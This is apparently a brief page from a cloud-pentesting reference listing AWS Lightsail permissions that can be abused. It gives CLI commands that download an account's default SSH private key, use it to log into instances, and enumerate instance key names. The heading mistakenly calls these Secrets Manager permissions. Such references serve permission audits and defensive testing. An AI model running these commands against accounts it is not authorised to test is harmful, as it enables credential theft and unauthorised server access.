Lightsail
Abusable AWS Secrets Manager permissions that can lead to compromise or privilege escalation
lightsail:DownloadDefaultKeyPair
# download key to a .pem file
aws lightsail download-default-key-pair --query privateKeyBase64 --output text > lightsail.pem
# change permissions
chmod 400 lightsail.pem
# ssh
ssh -i lightsail.pem [email protected]# lightsail:GetInstances
aws lightsail get-instances --query 'instances[].sshKeyName' --output text
# lightsail:GetInstance
aws lightsail get-instance --instance-name instance-1 --query 'instance.sshKeyName'Last updated